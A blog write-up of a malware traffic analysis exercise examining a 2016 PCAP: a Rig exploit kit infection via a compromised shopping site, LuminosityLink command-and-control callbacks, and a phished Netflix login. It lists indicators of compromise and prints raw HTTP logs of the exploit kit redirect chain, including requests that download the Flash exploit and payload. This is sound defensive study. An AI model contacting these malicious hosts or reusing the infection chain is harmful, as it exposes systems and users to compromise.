Brad has a new one out and I figured that I would take a break from studying to crank this one out. Artifacts for this exercise can be found here. Hope that everyone has a great Thanksgiving this week!
Executive Summary
=================
Based on what is in the PCAP, there are two issues going on. The first issue is that the user went to a compromised site called www[.]spoofee[.]com which had a malicious script injected into it which directed the user to another site which used a Flash exploit from the Rig EK (exploit kit) against the client system. This was done behind the scenes as the user was not aware of this activity. Once this was downloaded and installed, we see callbacks to a malicious IP address (the LuminosityLink Command and Control). The other issue is that the user signed into a fake Netflix site over a non-encrypted channel. This looks like it was done via a phishing email since we can see Tom going to Outlook.com right before he entered in his Netflix credentials.
About the Investigation
=======================
– Date and time range of the traffic you’re reviewing.
> First packet: 2016-11-19 00:16:02 / Last packet: 2016-11-19 00:25:43 / Elapsed: 00:09:41
– Date and time of infection.
> Nov 19, 2016 00:16:49.402750000 GMT – For the Rig EK and LuminosityLink C2
> Nov 19, 2016 00:24:56.109088000 GMT – For the Netflix credentials issue
– IP address, MAC address, Other host information
> 172.16.104.115 / 00:21:70:5b:f4:2c / Hostname: TUCKER-4A9F-WIN / Windows 7 SP1 with IE v11
– A conclusion with recommendations for any follow-up actions.
> At this time the laptop should be banned from the network and re-kicked to make sure that the infection gets cleaned up. Once that is done, I would advise Tom on the importance of keeping his system up-to-date to help prevent these types of attacks. I would also talk to Tom and make sure that any credentials for any web-based services used on that system (Facebook, Twitter, Outlook, Netflix, etc.) are changed immediately to help prevent any further compromises. Some basic phishing education would help Tom as well so he is aware of these types of emails in the future (and how to avoid them). From the corporate side, this infection may help strengthen the argument for locking down outbound ports on the corporate firewall to only the needed ports that allow the business to operate effectively and efficiently. Lastly, I would make sure that any web proxies/firewalls used in the company have the IOCs added to them to help limit the attack surface; especially any ICMP traffic going to the 46.101.201.100 address.
– Indicators of Compromise (IP, FQDN, etc…)
===========================================
> www.spoofee.com / 207.58.143.233
> 118.178.241.78 (80)
> free.banayok.com / 195.133.146.58
> 46.101.201.100 (ICMP / TCP 1337)
> resolution.netflix.link.confirm.user.auth.37548471.nettrust01.com / 190.14.37.232 (80)
Hash Information of Artifacts
=============================
File name: flash.swf
Size: 10KB
MD5 hash: a12e75e71e44140f582440ecc261658a
Virustotal: http://virustotal.com/en/file/0cc84eaea2a9661c07d316aa1275ffd9227fc92e8d2507f167a9f6e534dc2644/analysis/
First submission: 2016-11-18 21:48:59 UTC
Notes From The Investigation
=============================
So an easy starting point for this is to look at the alerts that were generated from the traffic. Personally I prefer the Suricata alerts over the Snort alerts since the ETPRO rules seem to be “better” when dealing with EK traffic. Granted when looking at the Snort alerts, we do see some interesting alerts there that are not referenced in the Suricata alerts. Anyways, I digress…
Like I stated above, there are two issues that are seen in the network traffic. Let’s start with the first one – the Rig EK that leads to LuminosityLink C2. The start of the traffic is from Tom looking up the site “www[.]spoofee[.]com” via Bing. Once Tom gets to the site to start shopping, we see a script that has been injected into the website that directs Tom to another site in the background.
GET /getcupon/43RQcj HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Referer: http://www.spoofee.com/ Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: 118.178.241.78 Connection: Keep-Alive HTTP/1.1 302 Found Date: Sat, 19 Nov 2016 00:16:48 GMT Server: Apache/2.4.10 (Debian) Expires: Thu, 21 Jul 1977 07:30:00 GMT Last-Modified: Sat, 19 Nov 2016 00:16:48 GMT Cache-Control: max-age=0 Pragma: no-cache Set-Cookie: 967e1=%7B%22streams%22%3A%5B1479514608%5D%2C%22campaigns%22%3A%7B%222%22%3A1479514608%7D%2C%22time%22%3A1479514608%7D; expires=Tue, 20-Dec-2016 00:16:49 GMT; Max-Age=2678400; path=/ LOCATION: http://free.BANAYOK.COM/?q=ILXWrwE0q1oZOd2scOAKpgs76aa1mAqW83ufQ9ma9vW0P-pMLW2Wxkesta&sourceid=edge&ie=UTF-8&oq=MsGNLl5Omf81Pz0zbxaYjyVG1xqgotAAnU2OPDcQtNbFhn5b2sHwayded2&aqs=edge.93p91.406j5o4&es_sm=140 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8
Then there is a call to the site “free[.]BANAYOK[.]COM” which I believe does a system check to see what version of Flash is on the system, and then proceeds to get the Flash file. This is part of the Rig EK at this time. I extracted the Flash file from Wireshark, but I was unable to decipher it. Once the Flash exploit has taken hold, we see the encrypted binary being pulled down to Tom’s system.
GET /?q=ILXWrwE0q1oZOd2scOAKpgs76aa1mAqW83ufQ9ma9vW0P-pMLW2Wxkesta&sourceid=edge&ie=UTF-8&oq=MsGNLl5Omf81Pz0zbxaYjyVG1xqgotAAnU2OPDcQtNbFhn5b2sHwayded2&aqs=edge.93p91.406j5o4&es_sm=140 HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Referer: http://www.spoofee.com/ Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: free.banayok.com HTTP/1.1 200 OK Server: nginx/1.6.2 Date: Sat, 19 Nov 2016 00:16:50 GMT Content-Type: text/html Content-Length: 2030 Connection: keep-alive X-Powered-By: PHP/5.4.45-0+deb7u5 Vary: Accept-Encoding Content-Encoding: gzip ...........W]w....+Y<...3.J..!k. ----- GET /?es_sm=113&sourceid=yandex&ie=Windows-1252&q=LbLWrwE0q00ZItmscOYNphMk7qSzhhCT7RuEOtnW-rW-Ev16OGTR0QGs3fVpIID&oq=g6-HJ8VD20D2kOY73X21z8QUpA17Z3OCffA1FOAU9voXKe1ylB6dzaVY30EZpbtE&aqs=yandex.82g80.406p4l7 HTTP/1.1 Accept: */* Referer: http://free.banayok.com/?q=ILXWrwE0q1oZOd2scOAKpgs76aa1mAqW83ufQ9ma9vW0P-pMLW2Wxkesta&sourceid=edge&ie=UTF-8&oq=MsGNLl5Omf81Pz0zbxaYjyVG1xqgotAAnU2OPDcQtNbFhn5b2sHwayded2&aqs=edge.93p91.406j5o4&es_sm=140 Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: free.banayok.com Connection: Keep-Alive HTTP/1.1 200 OK Server: nginx/1.6.2 Date: Sat, 19 Nov 2016 00:16:51 GMT Content-Type: application/x-shockwave-flash Content-Length: 10622 Connection: keep-alive X-Powered-By: PHP/5.4.45-0+deb7u5 CWS.3R..x.\Uo.......m.w.3....._. ----- GET /?es_sm=100&q=ILbWrwE0q1oZOd2scOAKpgs76aW1mAqW83ufQ9ua9vW0P-pMLWKWxkestaMs&oq=GNPl5Omf81Pz0zHxaYjyVG1xqgktAAnU2OPDcQdNbFhn5b2ZJw3xMaVFNxAx&ie=UTF-16&sourceid=msie&aqs=msie.111q100.406v3f073 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: free.banayok.com Connection: Keep-Alive HTTP/1.1 200 OK Server: nginx/1.6.2 Date: Sat, 19 Nov 2016 00:16:56 GMT Content-Type: application/x-msdownload Content-Length: 1015808 Connection: keep-alive X-Powered-By: PHP/5.4.45-0+deb7u5 Accept-Ranges: bytes ,-.KADwAewBK..wA.wMKCDwA!wWKCDwAawMKCDwAawMKCDwAawMKCDwAawMKCEwA.gME\.~.@.L..e..5.$8c4....,&c).2.W/.c6./A.#
Once the encrypted binary was downloaded and installed on Tom’s system, we start to see the call-back traffic from his system to the malicious IP address of 46.101.201.100. The interesting thing about this one is the fact that the call-back traffic is using two different protocols – ICMP (echo request/reply and TCP on port 1337 as shown below):
The other issue that we can see from the PCAP is the fact that Tom got phished for his Netflix credentials as seen below. Please note that I am making an educated guess here since right before the domain “resolution[.]netflix.link.confirm.user.auth.37548471[.]nettrust01.com” appears in the PCAP, we can see that Tom goes to “www.outlook.com.” Following the TCP stream for this site, we can see the numerous 301 redirects until we see where he POSTs his credentials to the site.
